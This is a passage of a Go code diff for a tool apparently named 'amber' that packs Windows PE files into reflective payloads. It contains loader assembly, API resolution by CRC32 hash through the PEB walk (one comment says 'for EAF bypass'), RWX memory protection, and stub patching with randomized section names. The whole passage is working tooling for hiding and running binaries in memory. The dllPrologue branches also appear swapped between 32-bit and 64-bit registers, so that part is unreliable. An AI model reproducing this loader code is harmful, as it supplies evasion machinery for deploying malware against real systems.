return err
|
||||||
|
}
|
||||||
|
bp.Architecture = arch
|
||||||
|
|
||||||
|
if bp.CustomStubName != "" {
|
||||||
|
arch, err := getPEfileArchitecture(bp.CustomStubName)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if arch != bp.Architecture {
|
||||||
|
return errors.New("custom stub architecture mismatch")
|
||||||
|
}
|
||||||
|
|
||||||
|
stub, err := ioutil.ReadFile(bp.CustomStubName)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
bp.CustomStub = stub
|
||||||
|
} else {
|
||||||
|
bp.CustomStub = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fetch OptionalHeader values to blueprint
|
||||||
|
switch hdr := (peFile.OptionalHeader).(type) {
|
||||||
|
case *pe.OptionalHeader32:
|
||||||
|
// cast those back to a uint32 before use in 32bit
|
||||||
|
bp.ImageBase = uint64(hdr.ImageBase)
|
||||||
|
bp.Subsystem = hdr.Subsystem
|
||||||
|
bp.SizeOfImage = hdr.SizeOfImage
|
||||||
|
|
||||||
|
bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
|
||||||
|
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
|
||||||
|
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
|
||||||
|
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
|
||||||
|
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
|
||||||
|
|
||||||
|
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
break
|
||||||
|
case *pe.OptionalHeader64:
|
||||||
|
bp.ImageBase = hdr.ImageBase
|
||||||
|
bp.Subsystem = hdr.Subsystem
|
||||||
|
bp.SizeOfImage = hdr.SizeOfImage
|
||||||
|
|
||||||
|
bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
|
||||||
|
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
|
||||||
|
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
|
||||||
|
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
|
||||||
|
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
|
||||||
|
|
||||||
|
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for TLS callbacks !!!
|
||||||
|
|
||||||
|
fileSize, err := GetFileSize(bp.FullFileName)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
bp.FileSize = fileSize
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getPEfileArchitecture(fileName string) (int, error) {
|
||||||
|
file, err := pe.Open(fileName)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
switch file.FileHeader.Machine {
|
||||||
|
case pe.IMAGE_FILE_MACHINE_I386:
|
||||||
|
return 32, nil
|
||||||
|
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
return 64, nil
|
||||||
|
default:
|
||||||
|
return 0, errors.New("unsupported PE file architecture")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -23,37 +23,9 @@ func (bp *Blueprint) AssemblePayload() ([]byte, error) {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
var stub string
|
stub, err := bp.GetLoaderAssembly()
|
||||||
|
if err != nil {
|
||||||
switch bp.Architecture {
|
return nil, err
|
||||||
case 32:
|
|
||||||
|
|
||||||
if bp.HasRelocData {
|
|
||||||
stub = LoaderX86
|
|
||||||
} else {
|
|
||||||
stub = FixedLoaderX86
|
|
||||||
}
|
|
||||||
|
|
||||||
if bp.IAT {
|
|
||||||
stub += IAT_API_32
|
|
||||||
} else {
|
|
||||||
stub += CRC_API_32
|
|
||||||
}
|
|
||||||
|
|
||||||
case 64:
|
|
||||||
|
|
||||||
if bp.HasRelocData {
|
|
||||||
stub = LoaderX64
|
|
||||||
} else {
|
|
||||||
stub = FixedLoaderX64
|
|
||||||
}
|
|
||||||
|
|
||||||
if bp.IAT {
|
|
||||||
stub += IAT_API_64
|
|
||||||
} else {
|
|
||||||
stub += CRC_API_64
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
stub = strings.ReplaceAll(stub, ";", "\n;")
|
stub = strings.ReplaceAll(stub, ";", "\n;")
|
||||||
@@ -67,9 +39,88 @@ func (bp *Blueprint) AssemblePayload() ([]byte, error) {
|
|||||||
return append(payload, stubBin...), nil
|
return append(payload, stubBin...), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetLoaderAssembly returns the corresponding PE loader assembly code
|
||||||
|
// based on the given blueprint strunct
|
||||||
|
func (bp *Blueprint) GetLoaderAssembly() (string, error) {
|
||||||
|
var stub, dllPrologue string
|
||||||
|
|
||||||
|
if bp.IsDLL {
|
||||||
|
switch bp.Architecture {
|
||||||
|
case 32:
|
||||||
|
dllPrologue = `
|
||||||
|
mov rcx,r13 ; hinstDLL
|
||||||
|
mov rdx,0x01 ; fdwReason
|
||||||
|
xor r8,r8 ; lpReserved
|
||||||
|
|
||||||
|
`
|
||||||
|
case 64:
|
||||||
|
dllPrologue = `
|
||||||
|
push edi ; AOE
|
||||||
|
sub [esp],eax ; hinstDLL
|
||||||
|
push 0x01 ; fdwReason
|
||||||
|
push 0x00 ; lpReserved
|
||||||
|
|
||||||
|
`
|
||||||
|
default:
|
||||||
|
return "", errors.New("invalid architecture selected")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
dllPrologue = ""
|
||||||
|
}
|
||||||
|
|
||||||
|
api, err := bp.GetAPIResolverBlockAssembly()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
switch bp.Architecture {
|
||||||
|
case 32:
|
||||||
|
|
||||||
|
if bp.HasRelocData {
|
||||||
|
stub = LoaderX86
|
||||||
|
} else {
|
||||||
|
stub = FixedLoaderX86
|
||||||
|
}
|
||||||
|
case 64:
|
||||||
|
|
||||||
|
if bp.HasRelocData {
|
||||||
|
stub = LoaderX64
|
||||||
|
} else {
|
||||||
|
stub = FixedLoaderX64
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return "", errors.New("invalid architecture selected")
|
||||||
|
}
|
||||||
|
|
||||||
|
return fmt.Sprintf(stub, api, dllPrologue), nil
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAPIResolverBlockAssembly returns the corresponding API resolver block assembly code
|
||||||
|
// based on the given blueprint strunct
|
||||||
|
func (bp *Blueprint) GetAPIResolverBlockAssembly() (string, error) {
|
||||||
|
switch bp.Architecture {
|
||||||
|
case 32:
|
||||||
|
|
||||||
|
if bp.IAT {
|
||||||
|
return IAT32, nil
|
||||||
|
}
|
||||||
|
return CRC32, nil
|
||||||
|
|
||||||
|
case 64:
|
||||||
|
|
||||||
|
if bp.IAT {
|
||||||
|
return IAT64, nil
|
||||||
|
}
|
||||||
|
return CRC64, nil
|
||||||
|
default:
|
||||||
|
return "", errors.New("invalid architecture selected")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// AddCallOver function adds a call instruction over the end of the given payload
|
// AddCallOver function adds a call instruction over the end of the given payload
|
||||||
// address of the payload will be pushed to the stack and execution will continiou after the end of payload
|
// address of the payload will be pushed to the stack and execution will continiou after the end of payload
|
||||||
func (bp Blueprint) AddCallOver(payload []byte) ([]byte, error) {
|
func (bp *Blueprint) AddCallOver(payload []byte) ([]byte, error) {
|
||||||
|
|
||||||
// Perform a shport call over the payload
|
// Perform a shport call over the payload
|
||||||
call := fmt.Sprintf("call 0x%x", len(payload)+5)
|
call := fmt.Sprintf("call 0x%x", len(payload)+5)
|
||||||
+201
@@ -0,0 +1,201 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"io/ioutil"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
pe "github.com/EgeBalci/debug/pe"
|
||||||
|
)
|
||||||
|
|
||||||
|
// CompileStub generates the final stub file with given payload
|
||||||
|
func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) {
|
||||||
|
|
||||||
|
tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer os.Remove(tmpStub.Name())
|
||||||
|
stub := []byte{}
|
||||||
|
|
||||||
|
if bp.CustomStub != nil {
|
||||||
|
stub = bp.CustomStub
|
||||||
|
} else {
|
||||||
|
switch bp.Architecture {
|
||||||
|
case 32:
|
||||||
|
stub, err = base64.StdEncoding.DecodeString(STUB32)
|
||||||
|
case 64:
|
||||||
|
stub, err = base64.StdEncoding.DecodeString(STUB64)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if bp.IAT && !bp.checkRequiredIATFuncs(stub) {
|
||||||
|
return nil, errors.New("selected stub does not support IAT resolver API")
|
||||||
|
}
|
||||||
|
|
||||||
|
tmpStub.Write(stub)
|
||||||
|
tmpStubPE, err := pe.Open(tmpStub.Name())
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var sizeOfImage, fileAlignment uint32
|
||||||
|
lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1]
|
||||||
|
|
||||||
|
switch tmpStubPE.FileHeader.Machine {
|
||||||
|
case pe.IMAGE_FILE_MACHINE_I386:
|
||||||
|
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32)
|
||||||
|
sizeOfImage = hdr.SizeOfImage
|
||||||
|
fileAlignment = hdr.FileAlignment
|
||||||
|
break
|
||||||
|
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64)
|
||||||
|
sizeOfImage = hdr.SizeOfImage
|
||||||
|
fileAlignment = hdr.FileAlignment
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// Edit the pre-compiled EXE stub header values by replacing raw bytes
|
||||||
|
|
||||||
|
// Change Subsystem
|
||||||
|
stub, err = setSubsystem(stub, bp.Subsystem)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Change SizeOfImage
|
||||||
|
stub, err = setSizeOfImage(stub, bp.SizeOfImage+sizeOfImage)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Randomize last section name
|
||||||
|
lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name))
|
||||||
|
newSectionName := "." + randomString(7) // Randomize the section name
|
||||||
|
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...)
|
||||||
|
oldBytes := make([]byte, 4)
|
||||||
|
newBytes := make([]byte, 4)
|
||||||
|
|
||||||
|
// Change SectionVirtualSize
|
||||||
|
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize))
|
||||||
|
binary.LittleEndian.PutUint32(newBytes, uint32(len(payload)))
|
||||||
|
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
|
||||||
|
// Change SectionRawSize
|
||||||
|
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size))
|
||||||
|
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment))
|
||||||
|
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
|
||||||
|
|
||||||
|
// Align section size
|
||||||
|
eofTamper := make([]byte, align(uint32(len(payload)), fileAlignment)-uint32(len(payload)))
|
||||||
|
for i := range eofTamper {
|
||||||
|
eofTamper[i] = 0x00
|
||||||
|
}
|
||||||
|
payload = append(payload, eofTamper...)
|
||||||
|
|
||||||
|
// Replace the section data with the reflective payload
|
||||||
|
oldSectionData, err := lastSection.Data()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
stub = bytes.Replace(stub, oldSectionData, payload, 1)
|
||||||
|
|
||||||
|
return stub, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func align(size, align uint32) uint32 {
|
||||||
|
if 0 == (size % align) {
|
||||||
|
return size
|
||||||
|
}
|
||||||
|
return size + (align - (size % align))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (bp *Blueprint) checkRequiredIATFuncs(stub []byte) bool {
|
||||||
|
|
||||||
|
if !strings.Contains(string(stub), "LoadLibrary") || !strings.Contains(string(stub), "GetProcAddress") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
if bp.HasRelocData {
|
||||||
|
if !strings.Contains(string(stub), "VirtualAlloc") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if !strings.Contains(string(stub), "VirtualProtect") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if bp.Architecture == 64 {
|
||||||
|
if !strings.Contains(string(stub), "FlushInstructionCache") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// Change the SubSystem header value of given raw PE file with newSubSystem
|
||||||
|
func setSubsystem(peFile []byte, newSubSystem uint16) ([]byte, error) {
|
||||||
|
ntHeaderOffset, err := getNtHeaderOffset(peFile)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
subSystemBytes := make([]byte, 2)
|
||||||
|
binary.LittleEndian.PutUint16(subSystemBytes, newSubSystem)
|
||||||
|
return append(append(peFile[:ntHeaderOffset+0x5c], subSystemBytes...), peFile[ntHeaderOffset+0x5e:]...), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Change the SizeOfImage header value of given raw PE file with newSizeOfImage
|
||||||
|
func setSizeOfImage(peFile []byte, newSizeOfImage uint32) ([]byte, error) {
|
||||||
|
ntHeaderOffset, err := getNtHeaderOffset(peFile)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
sizeOfImageBytes := make([]byte, 4)
|
||||||
|
binary.LittleEndian.PutUint32(sizeOfImageBytes, newSizeOfImage)
|
||||||
|
return append(append(peFile[:ntHeaderOffset+0x50], sizeOfImageBytes...), peFile[ntHeaderOffset+0x54:]...), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Change the ImageBase header value of given raw PE file with newImageBase
|
||||||
|
func setImageBase(peFile []byte, newImageBase uint64) ([]byte, error) {
|
||||||
|
r := bytes.NewReader(peFile)
|
||||||
|
f := new(pe.File)
|
||||||
|
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||||
|
|
||||||
|
ntHeaderOffset, err := getNtHeaderOffset(peFile)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
sr.Seek(int64(ntHeaderOffset+4), 0)
|
||||||
|
if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
switch f.FileHeader.Machine {
|
||||||
|
case pe.IMAGE_FILE_MACHINE_I386:
|
||||||
|
imageBaseBytes := make([]byte, 4)
|
||||||
|
binary.LittleEndian.PutUint32(imageBaseBytes, uint32(newImageBase))
|
||||||
|
return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x34:]...), nil
|
||||||
|
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
imageBaseBytes := make([]byte, 8)
|
||||||
|
binary.LittleEndian.PutUint64(imageBaseBytes, newImageBase)
|
||||||
|
return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x38:]...), nil
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("unsupported COFF file header machine value of 0x%x", f.FileHeader.Machine)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the NT_IMAGE_HEADER offset of the given raw PE file
|
||||||
|
func getNtHeaderOffset(peFile []byte) (uint32, error) {
|
||||||
|
ntHeaderOffset := binary.LittleEndian.Uint32(peFile[0x3c:0x40])
|
||||||
|
if !(peFile[ntHeaderOffset] == 'P' && peFile[ntHeaderOffset+1] == 'E' && peFile[ntHeaderOffset+2] == 0 && peFile[ntHeaderOffset+3] == 0) {
|
||||||
|
return 0, fmt.Errorf("invalid PE COFF file signature of %v", ntHeaderOffset)
|
||||||
|
}
|
||||||
|
return ntHeaderOffset, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// CRC64 https://github.com/EgeBalci/CRC32_API
|
||||||
|
const CRC64 = `
|
||||||
|
|
||||||
|
api_call:
|
||||||
|
push r9 ; Save the 4th parameter
|
||||||
|
push r8 ; Save the 3rd parameter
|
||||||
|
push rdx ; Save the 2nd parameter
|
||||||
|
push rcx ; Save the 1st parameter
|
||||||
|
push rsi ; Save RSI
|
||||||
|
xor rdx, rdx ; Zero rdx
|
||||||
|
mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB
|
||||||
|
mov rdx, [rdx+0x18] ; Get PEB->Ldr
|
||||||
|
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
|
||||||
|
next_mod: ;
|
||||||
|
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
|
||||||
|
movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check
|
||||||
|
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||||
|
loop_modname: ;
|
||||||
|
xor rax, rax ; Clear rax
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
|
not_lowercase: ;
|
||||||
|
crc32 r9d,al ; Calculate CRC3
|
||||||
|
loop loop_modname ; Loop untill we have read enough
|
||||||
|
; We now have the module hash computed
|
||||||
|
push rdx ; Save the current position in the module list for later
|
||||||
|
push r9 ; Save the current module hash for later
|
||||||
|
; Proceed to itterate the export address table,
|
||||||
|
mov rdx, [rdx+0x20] ; Get this modules base address
|
||||||
|
mov eax, dword [rdx+0x3C]; Get PE header
|
||||||
|
add rax, rdx ; Add the modules base address
|
||||||
|
cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable?
|
||||||
|
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
||||||
|
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
||||||
|
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
||||||
|
jne get_next_mod1 ; if not, proceed to the next module
|
||||||
|
mov eax, dword [rax+0x88] ; Get export tables RVA
|
||||||
|
test rax, rax ; Test if no export address table is present
|
||||||
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
|
add rax, rdx ; Add the modules base address
|
||||||
|
push rax ; Save the current modules EAT
|
||||||
|
mov ecx, dword [rax+0x18]; Get the number of function names
|
||||||
|
mov r8d, dword [rax+0x20]; Get the rva of the function names
|
||||||
|
add r8, rdx ; Add the modules base address
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
get_next_func: ;
|
||||||
|
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
|
mov r9, [rsp+8] ; Reset the current module hash
|
||||||
|
dec rcx ; Decrement the function name counter
|
||||||
|
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||||
|
add rsi, rdx ; Add the modules base address
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname: ;
|
||||||
|
xor rax, rax ; Clear rax
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
crc32 r9d,al ; Calculate CRC32
|
||||||
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
pop rax ; Restore the current modules EAT
|
||||||
|
mov r8d, dword [rax+0x24]; Get the ordinal table rva
|
||||||
|
add r8, rdx ; Add the modules base address
|
||||||
|
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||||
|
mov r8d, dword [rax+0x1C]; Get the function addresses table rva
|
||||||
|
add r8, rdx ; Add the modules base address
|
||||||
|
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||||
|
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||||
|
; We now fix up the stack and perform the call to the drsired function...
|
||||||
|
finish:
|
||||||
|
pop r8 ; Clear off the current modules hash
|
||||||
|
pop r8 ; Clear off the current position in the module list
|
||||||
|
pop rsi ; Restore RSI
|
||||||
|
pop rcx ; Restore the 1st parameter
|
||||||
|
pop rdx ; Restore the 2nd parameter
|
||||||
|
pop r8 ; Restore the 3rd parameter
|
||||||
|
pop r9 ; Restore the 4th parameter
|
||||||
|
pop r10 ; Pop off the return address
|
||||||
|
sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||||
|
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||||
|
push r10 ; Push back the return address
|
||||||
|
jmp rax ; Jump to required function
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
get_next_mod: ;
|
||||||
|
pop rax ; Pop off the current (now the previous) modules EAT
|
||||||
|
get_next_mod1: ;
|
||||||
|
pop r9 ; Pop off the current (now the previous) modules hash
|
||||||
|
pop rdx ; Restore our position in the module list
|
||||||
|
mov rdx, [rdx] ; Get the next module
|
||||||
|
jmp next_mod ; Process this module
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// CRC32 https://github.com/EgeBalci/CRC32_API
|
||||||
|
const CRC32 = `
|
||||||
|
|
||||||
|
api_call:
|
||||||
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
|
mov ebp, esp ; Create a new stack frame
|
||||||
|
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||||
|
mov edx, fs:[eax+0x30] ; Get a pointer to the PEB
|
||||||
|
mov edx, [edx+0xC] ; Get PEB->Ldr
|
||||||
|
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
|
||||||
|
next_mod: ;
|
||||||
|
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
|
||||||
|
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
|
||||||
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
|
loop_modname: ;
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
|
not_lowercase: ;
|
||||||
|
crc32 edi,al ; Calculate CRC32 value
|
||||||
|
loop loop_modname ; Loop until we have read enough
|
||||||
|
|
||||||
|
; We now have the module hash computed
|
||||||
|
push edx ; Save the current position in the module list for later
|
||||||
|
push edi ; Save the current module hash for later
|
||||||
|
; Proceed to iterate the export address table,
|
||||||
|
mov edx, [edx+0x10] ; Get this modules base address
|
||||||
|
mov ecx, [edx+0x3C] ; Get PE header
|
||||||
|
|
||||||
|
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||||
|
mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header
|
||||||
|
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||||
|
add ecx, edx ; Add the modules base address
|
||||||
|
push ecx ; Save the current modules EAT
|
||||||
|
mov ebx, [ecx+0x20] ; Get the rva of the function names
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov ecx, [ecx+0x18] ; Get the number of function names
|
||||||
|
; now ecx returns to its regularly scheduled counter duties
|
||||||
|
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
get_next_func: ;
|
||||||
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
|
mov edi, [ebp-8] ; Reset the current module hash
|
||||||
|
dec ecx ; Decrement the function name counter
|
||||||
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||||
|
add esi, edx ; Add the modules base address
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname: ;
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
crc32 edi,al ; Calculate CRC32
|
||||||
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
pop eax ; Restore the current modules EAT
|
||||||
|
mov ebx, [eax+0x24] ; Get the ordinal table rva
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
|
mov ebx, [eax+0x1C] ; Get the function addresses table rva
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
|
finish:
|
||||||
|
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
|
pop ebx ; Clear off the current modules hash
|
||||||
|
pop ebx ; Clear off the current position in the module list
|
||||||
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||||
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
|
push ecx ; Puh back the return address
|
||||||
|
jmp eax ; Properly call the required function for EAF bypass
|
||||||
|
ret
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
|
||||||
|
get_next_mod: ;
|
||||||
|
pop edi ; Pop off the current (now the previous) modules EAT
|
||||||
|
get_next_mod1: ;
|
||||||
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
|
pop edx ; Restore our position in the module list
|
||||||
|
mov edx, [edx] ; Get the next module
|
||||||
|
jmp next_mod ; Process this module
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// FixedLoaderX64 contains the 64 bit PE loader for non-relocatable PE files
|
||||||
|
const FixedLoaderX64 = `
|
||||||
|
start:
|
||||||
|
pop rsi ; Get the address of image to rsi
|
||||||
|
call get_ip ; Push the current EIP to stack
|
||||||
|
get_ip:
|
||||||
|
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11
|
||||||
|
mov rbp,rsp ; Copy current stack address to rbp
|
||||||
|
and rbp,-0x1000 ; Create a new shadow stack address
|
||||||
|
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
|
||||||
|
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
|
||||||
|
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
|
||||||
|
push rax ; Allocate 8 bytes for lpflOldProtect
|
||||||
|
mov r9,rsp ; lpflOldProtect
|
||||||
|
mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
|
mov rdx,qword [rsp+8] ; dwSize
|
||||||
|
mov rcx,rbx ; lpAddress
|
||||||
|
mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
|
||||||
|
xchg rsp,rbp ; Swap shadow stack
|
||||||
|
call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
||||||
|
xchg rsp,rbp ; Swap shadow stack
|
||||||
|
xor rax,rax ; Zero EAX
|
||||||
|
xor r14,r14 ; Zero R14
|
||||||
|
xor r15,r15 ; Zero R15
|
||||||
|
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||||
|
mov eax,dword [rax+rsi+0x90] ; Import table RVA
|
||||||
|
